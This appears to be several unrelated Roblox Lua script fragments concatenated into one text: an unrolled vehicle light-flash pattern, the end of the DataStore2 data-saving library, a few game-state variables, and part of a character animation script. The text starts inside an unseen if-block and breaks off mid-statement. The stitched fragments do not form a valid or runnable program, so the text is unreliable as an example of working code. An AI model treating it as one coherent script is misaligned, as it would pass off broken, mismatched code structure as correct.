1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 0 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 0 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 0 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 0 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 0 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 0 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 0 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 0 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 0 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) --New Pattern MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 0 wait(0.02) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 0 wait(0.02) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 0 wait(0.02) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 0 wait(0.02) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 0 wait(0.02) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 0 wait(0.02) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 0 wait(0.02) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 0 wait(0.02) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 0 wait(0.02) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 0 wait(0.02) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 0 wait(0.02) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 0 wait(0.02) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 0 wait(0.02) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 0 wait(0.02) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 0 wait(0.02) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 0 wait(0.02) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) else MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 end end
--[[** <description> Run this once to combine all keys provided into one "main key". Internally, this means that data will be stored in a table with the key mainKey. This is used to get around the 2-DataStore2 reliability caveat. </description> <parameter name = "mainKey"> The key that will be used to house the table. </parameter> <parameter name = "..."> All the keys to combine under one table. </parameter> **--]]
function DataStore2.Combine(mainKey, ...) for _, name in pairs({...}) do combinedDataStoreInfo[name] = mainKey end end function DataStore2.ClearCache() DataStoreCache = {} end function DataStore2:__call(dataStoreName, player) assert(typeof(dataStoreName) == "string" and typeof(player) == "Instance", ("DataStore2() API call expected {string dataStoreName, Instance player}, got {%s, %s}"):format(typeof(dataStoreName), typeof(player))) if DataStoreCache[player] and DataStoreCache[player][dataStoreName] then return DataStoreCache[player][dataStoreName] elseif combinedDataStoreInfo[dataStoreName] then local dataStore = DataStore2(combinedDataStoreInfo[dataStoreName], player) dataStore:BeforeSave(function(combinedData) for key in pairs(combinedData) do if combinedDataStoreInfo[key] then local combinedStore = DataStore2(key, player) local value = combinedStore:Get(nil, true) if value ~= nil then if combinedStore.combinedBeforeSave then value = combinedStore.combinedBeforeSave(clone(value)) end combinedData[key] = value end end end return combinedData end) local combinedStore = setmetatable({ combinedName = dataStoreName, combinedStore = dataStore }, { __index = function(self, key) return CombinedDataStore[key] or dataStore[key] end }) if not DataStoreCache[player] then DataStoreCache[player] = {} end DataStoreCache[player][dataStoreName] = combinedStore return combinedStore end local dataStore = {} dataStore.Name = dataStoreName dataStore.UserId = player.UserId dataStore.callbacks = {} dataStore.beforeInitialGet = {} dataStore.afterSave = {} dataStore.bindToClose = {} dataStore.savingMethod = SavingMethods.OrderedBackups.new(dataStore) setmetatable(dataStore, DataStoreMetatable) local event, fired = Instance.new("BindableEvent"), false game:BindToClose(function() if not fired then event.Event:wait() end local value = dataStore:Get(nil, true) for _, bindToClose in pairs(dataStore.bindToClose) do bindToClose(player, value) end end) local playerLeavingConnection playerLeavingConnection = player.AncestryChanged:Connect(function() if player:IsDescendantOf(game) then return end playerLeavingConnection:Disconnect() dataStore:Save() event:Fire() fired = true delay(40, function() --Give a long delay for people who haven't figured out the cache :^( DataStoreCache[player] = nil end) end) if not DataStoreCache[player] then DataStoreCache[player] = {} end DataStoreCache[player][dataStoreName] = dataStore return dataStore end return setmetatable(DataStore2, DataStore2)
-- Local Variables
local IntermissionRunning = false local EnoughPlayers = false local GameRunning = false local Events = game.ReplicatedStorage.Events
-- functions
function stopAllAnimations() local oldAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then oldAnim = "idle" end if FFlagAnimateScriptEmoteHook and currentlyPlayingEmote then oldAnim = "idle" currentlyPlayingEmote = false end currentAnim = "" currentAnimInstance = nil if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end if (currentAnimTrack ~= nil) then currentAnimTrack:Stop() currentAnimTrack:Destroy() currentAnimTrack = nil end -- clean up walk if there is one if (runAnimKeyframeHandler ~= nil) then runAnimKeyframeHandler:disconnect() end if (runAnimTrack ~= nil) then runAnimTrack:Stop() runAnimTrack:Destroy() runAnimTrack = nil end return oldAnim end function getHeightScale() if Humanoid then if not Humanoid.AutomaticScalingEnabled then return 1 end local scale = Humanoid.HipHeight / HumanoidHipHeight if AnimationSpeedDampeningObject == nil then AnimationSpeedDampeningObject = script:FindFirstChild("ScaleDampeningPercent") end if AnimationSpeedDampeningObject ~= nil then scale = 1 + (Humanoid.HipHeight - HumanoidHipHeight) * AnimationSpeedDampeningObject.Value / HumanoidHipHeight end return scale end return 1 end local function rootMotionCompensation(speed) local speedScaled = speed * 1.25 local heightScale = getHeightScale() local runSpeed = speedScaled / heightScale return runSpeed end local smallButNotZero = 0.0001 local function setRunSpeed(speed) local normalizedWalkSpeed = 0.5 -- established empirically using current `913402848` walk animation local normalizedRunSpeed = 1 local runSpeed = rootMotionCompensation(speed) local walkAnimationWeight = smallButNotZero local runAnimationWeight = smallButNotZero local walkAnimationTimewarp = runSpeed/normalizedWalkSpeed local runAnimationTimerwarp = runSpeed/normalizedRunSpeed if runSpeed <= normalizedWalkSpeed then walkAnimationWeight = 1 elseif runSpeed < normalizedRunSpeed then local fadeInRun = (runSpeed - normalizedWalkSpeed)/(normalizedRunSpeed - normalizedWalkSpeed) walkAnimationWeight = 1 - fadeInRun runAnimationWeight = fadeInRun walkAnimationTimewarp = 1 runAnimationTimerwarp = 1 else runAnimationWeight = 1 end currentAnimTrack:AdjustWeight(walkAnimationWeight) runAnimTrack:AdjustWeight(runAnimationWeight) currentAnimTrack:AdjustSpeed(walkAnimationTimewarp) runAnimTrack:AdjustSpeed(runAnimationTimerwarp) end function setAnimationSpeed(speed) if currentAnim == "walk" then setRunSpeed(speed) else if speed ~= currentAnimSpeed then currentAnimSpeed = speed currentAnimTrack:AdjustSpeed(currentAnimSpeed) end end end function keyFrameReachedFunc(frameName) if (frameName == "End") then if currentAnim == "walk" then if userNoUpdateOnLoop == true then if runAnimTrack.Looped ~= true then runAnimTrack.TimePosition = 0.0 end if currentAnimTrack.Looped ~= true then currentAnimTrack.TimePosition = 0.0 end else runAnimTrack.TimePosition = 0.0 currentAnimTrack.TimePosition = 0.0 end else local repeatAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then repeatAnim = "idle" end if FFlagAnimateScriptEmoteHook and currentlyPlayingEmote then if currentAnimTrack.Looped then -- Allow the emote to loop return end repeatAnim = "idle" currentlyPlayingEmote = false end local animSpeed = currentAnimSpeed playAnimation(repeatAnim, 0.15, Humanoid) setAnimationSpeed(animSpeed) end end end function rollAnimation(animName) local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end return idx end local function switchToAnim(anim, animName, transitionTime, humanoid) -- switch animation if (anim ~= currentAnimInstance) then if (currentAnimTrack ~= nil) then currentAnimTrack:Stop(transitionTime) currentAnimTrack:Destroy() end if (runAnimTrack ~= nil) then runAnimTrack:Stop(transitionTime) runAnimTrack:Destroy() if userNoUpdateOnLoop == true then runAnimTrack = nil end end currentAnimSpeed = 1.0 -- load it to the humanoid; get AnimationTrack currentAnimTrack = humanoid:LoadAnimation(anim) currentAnimTrack.Priority = Enum.AnimationPriority.Core -- play the animation currentAnimTrack:Play(transitionTime) currentAnim = animName currentAnimInstance = anim -- set up keyframe name triggers if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) -- check to see if we need to blend a walk/run animation if animName == "walk" then local runAnimName = "run" local runIdx = rollAnimation(runAnimName) runAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim) runAnimTrack.Priority = Enum.AnimationPriority.Core runAnimTrack:Play(transitionTime) if (runAnimKeyframeHandler ~= nil) then runAnimKeyframeHandler:disconnect() end runAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) end end end function playAnimation(animName, transitionTime, humanoid) local idx = rollAnimation(animName) local anim = 